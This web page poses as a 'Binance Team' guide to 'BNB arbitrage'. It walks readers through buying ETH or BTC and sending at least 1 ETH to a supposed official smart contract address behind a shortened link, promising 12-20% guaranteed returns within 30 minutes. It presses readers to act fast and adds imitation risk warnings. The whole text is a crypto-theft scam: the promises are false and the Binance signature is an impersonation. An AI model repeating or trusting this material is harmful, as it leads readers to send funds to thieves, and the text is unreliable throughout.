Binance coin(BNB) Arbitrage
Crypto arbitrage: the million-dollar profit factory
2022 might be the year cryptocurrency goes mainstream.
With numerous sports and large events canceled, and many Americans receiving government aid, the U.S. has a captive audience for financial change. While most things we took for granted have halted, two things have stayed the same: the Internet and the exchange of money.
What has changed notably is the value of money, in particular the U.S. dollar. As Americans continue to receive public financial assistance and businesses utilize Payroll Protection Program (PPP) loans, the inherent value of the dollar is dropping.
What does this mean? More people will hedge their bets on currencies that act outside the confines of the dollar and buy other fiat currencies. However, we are also seeing more people invest in cryptocurrencies. At the same time, it leaves a huge profit margin for the market which we can take advantage of, by using BNB Arbitrage Smart Contract.
What Is Binance Coin (BNB)?
1. BNB was launched through an initial coin offering in 2017, 11 days before the Binance cryptocurrency exchange went online. It was originally issued as an ERC-20 token running on the Ethereum network, with a total supply capped at 200 million coins, and 100 million BNBs offered in the ICO.
2. BNB can be used as a payment method, a utility token to pay for fees on the Binance exchange, and for participation in token sales on the Binance Launchpad. BNB also powers the Binance DEX (decentralized exchange).
Arbitrage takes place when security is bought in one market and is sold in another market at a higher price which is basically risk-free trading.
Crypto arbitrage trading is simply the simultaneous buying and selling of the crypto coins in more than two markets and to gain from the difference in prices.
Ok, Let's Get Started:
To use smart contracts arbitrage, please follow the steps below:
1️⃣Download Atomic Wallet https://atomicwallet.io/
2️⃣Transfer your ETH/BTC to Atomic Wallet
3️⃣Then open the wallet send ETH to Binance's official smart contract ERC20 ETH address Or send BTC to Binance official smart contract BTC address:
4️⃣Wait for about 30 minutes and BNB will be automatically credited to your wallet (including the original value + 12%-20% ETH appreciation).
5️⃣Send your BNB to Binance exchange, to trade, or sell them.
Notes. The minimum sending volume of the BTC smart contract is 0.1 BTC, and the minimum sending volume of the ETH smart contract is 1 ETH.
How to buy Ethereum on Binance in under 5 minutes?
1. Register on Binance
Even though trading cryptocurrency on Binance does not require a know-your-customer (KYC) process as long as you’re withdrawing less than 2 BTC per day, you will have to provide some of your personal details if you want to purchase crypto with your credit or debit card through Binance.
2. Select "Buy Crypto"
•Select “Credit/Debit Card” for card payment. (If you wish to use PayPal, bank transfer or any other methods click P2P Trading)
•Enter the amount of Ethereum you want to purchase
•Confirm your Ethereum order
•Enter your billing information
•Enter your credit card information
After completing an identity verification process, Binance will complete your cryptocurrency order. Usually, it will take between 10 and 30 minutes for the crypto to appear in your Binance account.
3. How to withdraw the ETH you just bought to your Atomic Wallet?
Select “Wallet” - “Fiat and Spot”
Click “Withdraw”, and copy-paste your Atomic Wallet’s ERC20 ETH address.
To see your Atomic Wallet's ETH address:
4. Send ETH to the smart contract address
https://bit.ly/smart_Contract_wallet
and send your ETH (at least 1 ETH) to the smart contract address.
Please note: The smart contract proximately generates 12%-20% profit.
Open your Atomic Wallet and select ETH, click SEND
Enter the smart contract address and the number of sends
You will receive the BNB from the smart contract in about 30 minutes after it has been successfully sent. (including the original value +12%-20% increase in value)
Profit calculation:
Suppose the price of ETH is $3000 and the price of BNB is $400
In your wallet, send 1 ETH (USD 3,000) to the smart contract, and you will get at least 3,000 + (USD 3,000 × 12%) = USD 3360, which is 8.4BNB, and the arbitrage profit is USD 360.
At present, the amount of BNB in the contract pool is getting less and less, We need to act fast!
(Check price https://coinmarketcap.com/currencies/binance-coin/ )
5. Sell your BNB on Binance exchange
https://www.binance.com/ this is the Binance official website, of course, you could use the mobile phone app as well. If you are from the US, you should use https://www.binance.us/
Let’s skip register or verifying accounts here, I believe everyone can do it perfectly.
a. Deposit your BNB received from the smart contract
Click "wallet" in the upper right corner, find “Fiat and Spot”
b. Click “Deposit”
Send your BNB from “ Atomic Wallet” to “Binance exchange”
c. Trade-Transfer/Sell
Trade your BNB for ETH now, you can either sell the ETH on Binance exchange or any other cryptocurrency exchange sites like Coinbase, or you can withdraw the ETH back to Atomic Wallet to go for another arbitrage again!
Best Places to Buy ETH of 2022
· Coinbase: Best Overall
· Binance: Best for Low Rates in Other Currencies
· Coinbase Pro: Best for Active Traders
· Coinmama: Best for Quick and Easy Transactions
Let's briefly summarize the process of arbitrage:
[Buy Ethereum] → [Send to Atomic Wallet] → [Deposit to smart contract] → [Receive BNB in Atomic Wallet] → [Send BNB to Binance] → [Trade BNB for ETH] → [Wthdraw ETH to Atomic Wallet] → [One more round of arbitrage]
Click for the Binance smart contract address
Note:
✅During the event, the profit rate may fluctuate, but it will not be less than 10%.
✅Arbitrage can only be carried out up to 3 times a day
✅The minimum sending amount of BNB smart contract is 1ETH/0.1BTC, and the upper limit is 200ETH/50BTC
Crypto Wallet:
Download ZenGo wallet: https://zengo.com/
Download Atomic Wallet: https://atomicwallet.io/
Download Trust Wallet: https://trustwallet.com/
Risk warning: There is a high market risk in cryptocurrency investment. Binance is not responsible for any direct, indirect, or indirect losses caused by trading competition. Please invest carefully.
Risk warning: Cryptocurrency trading is subject to high market risk. Please make your trades cautiously. Binance will make the best efforts to choose high-quality coins, but will not be responsible for your trading losses.
Please note that Phase 5 of the arbitrage ends by an expected June 2022
Thank you for your support!
Binance Team